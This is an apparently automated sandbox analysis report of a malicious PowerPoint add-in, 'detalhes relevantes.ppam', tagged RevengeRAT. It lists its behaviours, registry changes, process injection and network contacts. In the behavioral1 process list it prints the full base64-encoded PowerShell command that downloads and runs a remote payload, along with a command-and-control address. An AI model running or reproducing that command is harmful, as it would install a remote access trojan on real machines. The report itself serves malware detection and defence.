Malware Analysis Report

2024-10-23 21:31

Sample ID 240806-yrkpcayfnm
Target detalhes relevantes.ppam
SHA256 1a6330ef84d244b1c672deeabcf38b93c1e1f9e31d9b7ac96b5e57adb082189b
Tags
revengerat nyancatrevenge discovery trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

1a6330ef84d244b1c672deeabcf38b93c1e1f9e31d9b7ac96b5e57adb082189b

Threat Level: Known bad

The file detalhes relevantes.ppam was found to be: Known bad.

Malicious Activity Summary

revengerat nyancatrevenge discovery trojan

Process spawned unexpected child process

RevengeRAT

Blocklisted process makes network request

Process spawned suspicious child process

Suspicious use of SetThreadContext

System Location Discovery: System Language Discovery

Modifies registry class

Uses Volume Shadow Copy WMI provider

Suspicious use of SetWindowsHookEx

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Suspicious behavior: AddClipboardFormatListener

Enumerates system info in registry

Suspicious use of AdjustPrivilegeToken

Checks processor information in registry

Uses Task Scheduler COM API

Uses Volume Shadow Copy service COM API

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-06 20:01

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-06 20:01

Reported

2024-08-06 20:03

Platform

win7-20240729-en

Max time kernel

146s

Max time network

146s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\detalhes relevantes.ppam"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE

RevengeRAT

trojan revengerat

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2840 set thread context of 2864 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C4-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DA-5A91-11CF-8700-00AA0060263B}\ = "DiagramNodes" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493472-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C3-5A91-11CF-8700-00AA0060263B}\ = "Table" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C8-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346E-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493474-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149348C-5A91-11CF-8700-00AA0060263B} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E557-4FF5-48F4-8215-5505F990966F} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2257386474-3982792636-3902186748-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2257386474-3982792636-3902186748-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E6-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A61-F07E-4CA4-AF6F-BEF486AA4E6F} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E552-4FF5-48F4-8215-5505F990966F}\ = "Player" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E554-4FF5-48F4-8215-5505F990966F}\TypeLib\Version = "2.a" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CD-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A75-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349B-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6A-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E55A-4FF5-48F4-8215-5505F990966F}\TypeLib\Version = "2.a" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2257386474-3982792636-3902186748-1000_CLASSES\Wow6432Node\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\ = "MdcComboEvents" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C9-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F6-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E558-4FF5-48F4-8215-5505F990966F}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934B9-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D3-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E1-5A91-11CF-8700-00AA0060263B}\ = "EffectParameters" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493465-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A73-F07E-4CA4-AF6F-BEF486AA4E6F} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E556-4FF5-48F4-8215-5505F990966F}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A69-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A75-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "Series" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493472-5A91-11CF-8700-00AA0060263B}\ = "SoundEffect" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493496-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C7-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345D-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346C-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347C-5A91-11CF-8700-00AA0060263B} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5B-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493460-5A91-11CF-8700-00AA0060263B}\TypeLib C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347B-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493482-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493489-5A91-11CF-8700-00AA0060263B} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F5-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2257386474-3982792636-3902186748-1000_CLASSES\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CF-5A91-11CF-8700-00AA0060263B}\ = "PublishObjects" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2257386474-3982792636-3902186748-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493477-5A91-11CF-8700-00AA0060263B}\ = "PlaceholderFormat" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493497-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A60-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A57-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E551-4FF5-48F4-8215-5505F990966F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345C-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493496-5A91-11CF-8700-00AA0060263B}\ = "ParagraphFormat" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E8-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D4-5A91-11CF-8700-00AA0060263B}\ = "Comments" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2257386474-3982792636-3902186748-1000_CLASSES\Wow6432Node\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493454-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5C-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349C-5A91-11CF-8700-00AA0060263B} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2257386474-3982792636-3902186748-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F8-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346E-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E8-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2032 wrote to memory of 2308 N/A C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE C:\Windows\splwow64.exe
PID 2032 wrote to memory of 2308 N/A C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE C:\Windows\splwow64.exe
PID 2032 wrote to memory of 2308 N/A C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE C:\Windows\splwow64.exe
PID 2032 wrote to memory of 2308 N/A C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE C:\Windows\splwow64.exe
PID 2032 wrote to memory of 2840 N/A C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2032 wrote to memory of 2840 N/A C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2032 wrote to memory of 2840 N/A C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2032 wrote to memory of 2840 N/A C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2840 wrote to memory of 2864 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2840 wrote to memory of 2864 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2840 wrote to memory of 2864 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2840 wrote to memory of 2864 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2840 wrote to memory of 2864 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2840 wrote to memory of 2864 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2840 wrote to memory of 2864 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2840 wrote to memory of 2864 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2840 wrote to memory of 2864 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2840 wrote to memory of 2864 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2840 wrote to memory of 2864 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2840 wrote to memory of 2864 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Processes

C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\detalhes relevantes.ppam"

C:\Windows\splwow64.exe

C:\Windows\splwow64.exe 12288

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAG0AYQBzAHQAZQByAC0AMgA3ADEAYgA4AC4AYQBwAHAAcwBwAG8AdAAuAGMAbwBtAC8AbwAvAE4ATwBWAE8AUgBFAFYARQBSAEcARQBNAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9ADcAOQA2AGYAZQA4ADIANAAtADMAZQA0ADUALQA0ADYANgBkAC0AOQBkADYANgAtADYAOAAxADQAZQBhADIANwAyAGYAYQA0AA0ACgAnACkAOwAgAA0ACgBkAG4ATgB0AFIAcAB0AFcAUgBGAEQAaQBVAHAAVQBjAEcASABMAHoAbwBEAFUARgBvAEUAQwBRAHoAQwBMAEYAaABWAGkAVAB2AFMASABmAHQAYwBwAFoARQBVAFIARABOAGIAQgBkAEoAcwBwAGIAQQBpAGUAUwBNAEkAYQBuAFUAQwBiAFoAYgBjAHMATwBFAEcARgB1AFMADQAKAA==""

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 firebasestorage.googleapis.com udp
NL 172.217.23.202:443 firebasestorage.googleapis.com tcp
BR 18.228.173.171:5222 tcp
BR 18.228.173.171:5222 tcp
BR 18.228.173.171:5222 tcp
BR 18.228.173.171:5222 tcp

Files

memory/2032-0-0x000000002DF61000-0x000000002DF62000-memory.dmp

memory/2032-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2032-2-0x0000000072C6D000-0x0000000072C78000-memory.dmp

memory/2032-8-0x0000000006550000-0x0000000006650000-memory.dmp

memory/2032-7-0x00000000055D0000-0x00000000056D0000-memory.dmp

memory/2032-9-0x00000000055D0000-0x00000000056D0000-memory.dmp

memory/2032-15-0x00000000055D0000-0x00000000056D0000-memory.dmp

memory/2032-18-0x00000000055D0000-0x00000000056D0000-memory.dmp

memory/2032-13-0x00000000055D0000-0x00000000056D0000-memory.dmp

memory/2840-32-0x00000000026B0000-0x00000000026C8000-memory.dmp

memory/2840-30-0x00000000026B0000-0x00000000026C8000-memory.dmp

memory/2840-28-0x00000000026B0000-0x00000000026C8000-memory.dmp

memory/2840-27-0x00000000026B0000-0x00000000026C8000-memory.dmp

memory/2840-24-0x00000000026B0000-0x00000000026C8000-memory.dmp

memory/2840-22-0x00000000026B0000-0x00000000026C8000-memory.dmp

memory/2840-21-0x00000000026B0000-0x00000000026C8000-memory.dmp

memory/2864-33-0x0000000000400000-0x000000000040A000-memory.dmp

memory/2864-44-0x0000000000400000-0x000000000040A000-memory.dmp

memory/2864-43-0x0000000000400000-0x000000000040A000-memory.dmp

memory/2864-42-0x0000000000400000-0x000000000040A000-memory.dmp

memory/2864-41-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

memory/2864-39-0x0000000000400000-0x000000000040A000-memory.dmp

memory/2864-37-0x0000000000400000-0x000000000040A000-memory.dmp

memory/2864-35-0x0000000000400000-0x000000000040A000-memory.dmp

memory/2032-46-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2032-47-0x0000000072C6D000-0x0000000072C78000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-06 20:01

Reported

2024-08-06 20:03

Platform

win10v2004-20240802-en

Max time kernel

94s

Max time network

117s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\detalhes relevantes.ppam" /ou ""

Signatures

Process spawned suspicious child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process N/A C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Windows\system32\dwwin.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Windows\system32\dwwin.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\system32\dwwin.exe N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Windows\system32\dwwin.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Windows\system32\dwwin.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE N/A

Uses Task Scheduler COM API

persistence

Uses Volume Shadow Copy WMI provider

ransomware

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE

